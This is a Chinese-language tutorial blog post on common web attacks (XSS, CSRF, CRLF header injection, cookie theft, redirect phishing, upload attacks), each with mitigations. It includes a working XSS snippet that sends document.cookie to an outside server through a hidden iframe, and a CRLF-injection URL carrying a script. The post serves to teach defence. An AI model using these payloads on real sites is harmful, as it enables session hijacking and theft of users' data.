web攻击

一、XSS（跨站脚本攻击）

　　是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。通过XSS可以比较容易地修改用户数据、窃取用户信息，以及造成其它类型的攻击，例如CSRF攻击

　　在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入，如果这个代码内容有请求外部服务器，那么就叫做XSS

　　 常见解决办法:确保输出到HTML页面的数据以HTML的方式被转义

　　如果富文本提交如下内容：

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

 

此段代码携带着cookie信息传输给了 http://192.168.123.123/myxss/... 这段服务器，然后服务器的代码就可以接收到了用户的隐私消息，继而继续做其他的业务处理（myxss/index.php 中写一些可怕的代码，如把用户信息存进自己的数据库）。　　

上面的代码仅仅是XSS，并没有发生CSRF，因为192.168.123.123/myxss/index.php 仅仅是把用户信息存起来了而已，他并没有“伪造”用户发起一些请求，所以他只算是XSS攻击而不算是CSRF攻击，如果192.168.123.123/myxss/index.php 写的代码是 将当前用户的昵称改为“我是大笨猪”，那么就算是CSRF攻击了，因为这段代码伪造用户发出了请求（但是用户却不自知）。

详见博文：web安全之XSS

二、CSRF（跨站请求伪造攻击 Cross-site request forgery）

　　是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

　　CSRF依赖于XSS，防住XSS基本也就防住了CSRF让我们明确我们的目的

　　通过各种方法伪造一个请求，模仿用户提交表单的行为，从而达到修改用户的数据，或者执行特定任务的目的。为了假冒用户的身份，CSRF攻击常常和XSS攻击配合起来做，但也可以通过其它手段，例如诱使用户点击一个包含攻击的链接

　　目前国内有大量路由器存在 CSRF 漏洞，其中相当部分用户使用默认的管理账号。通过外链图片，即可发起对路由器 DNS 配置的修改，这将成为国内互联网最大的安全隐患。

　　案例：

　　百度旅游在富文本过滤时，未考虑标签的 style 属性，导致允许用户自定义的 CSS。因此可以插入站外资源：

　　所有浏览该页面的用户，都能发起任意 URL 的请求：

由于站外服务器完全不受控制，攻击者可以控制返回内容：

• 如果检测到是管理员，或者外链检查服务器，可以返回正常图片；

• 如果是普通用户，可以返回 302 重定向到其他 URL，发起 CSRF 攻击。例如修改路由器 DNS

 防范措施：

　　1. 杜绝用户的一切外链资源。需要站外图片，可以抓回后保存在站内服务器里。

　　2. 对于富文本内容，使用白名单策略，只允许特定的 CSS 属性。

　　3. 尽可能开启 Content Security Policy 配置，让浏览器底层来实现站外资源的拦截。

      4. 采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难，攻击者往往需要借助javascript才能实现
      5. 对请求进行认证，确保该请求确实是用户本人填写表单并提交的，而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人

三、Http Heads攻击

　　HTTP协议在Response header和content之间，有一个空行，即两组CRLF（0x0D 0A）字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到headers中，这种攻击就可以发生

　　案例：

　　url：http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex

　　当登录成功以后，需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.

     

　　假如把URL修改一下，变成这个样子：

　　http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E

　　

　　这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向（Location header）上，也有可能发生在其它headers中，如Set-Cookie header。这种攻击如果成功的话，可以做很多事，例如：执行脚本、设置额外的cookie（<CRLF>Set-Cookie: evil=value）等。
     避免这种攻击的方法，就是过滤所有的response headers，除去header中出现的非法字符，尤其是CRLF。

四、Cookie攻击

　　通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站，然后在浏览器地址栏中输入：javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie（如果有的话）。攻击者可以利用这个特性来取得你的关键信息。例如，和XSS攻击相配合，攻击者在你的浏览器上执行特定的Java Script脚本，取得你的cookie。假设这个网站仅依赖cookie来验证用户身份，那么攻击者就可以假冒你的身份来做一些事情。
      现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记，就会大大增强cookie的安全性

五、重定向攻击

　　 一种常用的攻击手段是“钓鱼”。钓鱼攻击者，通常会发送给受害者一个合法链接，当链接被点击时，用户被导向一个似是而非的非法网站，从而达到骗取用户信任、窃取用户资料的目的。

　　为防止这种行为,我们必须对所有的重定向操作进行审核,以避免重定向到一个危险的地方.

　　案例：

　　攻击者发一个吸引用户的帖子。当用户进来时，引诱他们点击超链接。

　　通常故意放少部分的图片，或者是不会动的动画，先让用户预览一下。要是用户想看完整的，就得点下面的超链接：

　　

 

　　由于扩展名是 gif 等图片格式，大多用户就毫无顾虑的点了。

　　事实上，真正的类型是由服务器返回的 MIME 决定的。所以这个站外资源完全有可能是一个网页：

　　

　　当用户停留在新页面里看动画时，隐匿其中的脚本已悄悄跳转原页面了。

　　用户切回原页面时，其实已在一个钓鱼网站上：

　　

　　在此之上，加些浮层登录框等特效，很有可能钓到用户的一些账号信息。

　　对页面中的用户发布的超链接，监听其点击事件，阻止默认的弹窗行为，而是用 window.open 代替，并将返回窗体的 opener 设置为 null，即可避免第三方页面篡改了。

 

　　钓鱼网站常见解决方案是白名单,将合法的要重定向的url加到白名单中,非白名单上的域名重定向时拒之；

　　第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.

六、上传文件攻击

　　1.文件名攻击

　　上传的文件采用上传之前的文件名,可能造成:客户端和服务端字符码不兼容,导致文件名乱码问题;文件名包含脚本,从而造成攻击.

     2.文件后缀攻击

　　上传的文件的后缀可能是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.因此我们必须过滤文件名后缀,排除那些不被许可的文件名后缀.

    3.文件内容攻击

　　IE6有一个很严重的问题 , 它不信任服务器所发送的content type，而是自动根据文件内容来识别文件的类型，并根据所识别的类型来显示或执行文件.如果上传一个gif文件,在文件末尾放一段js攻击脚本,就有可能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击无法用文件名过滤来排除，而是必须扫描其文件内容，才能识别。

 

 

感谢原博主们的技术分享~

参考链接：

http://www.myexception.cn/web/474892.html

http://fex.baidu.com/blog/2014/06/web-sec-2014/?qq-pf-to=pcqq.c2c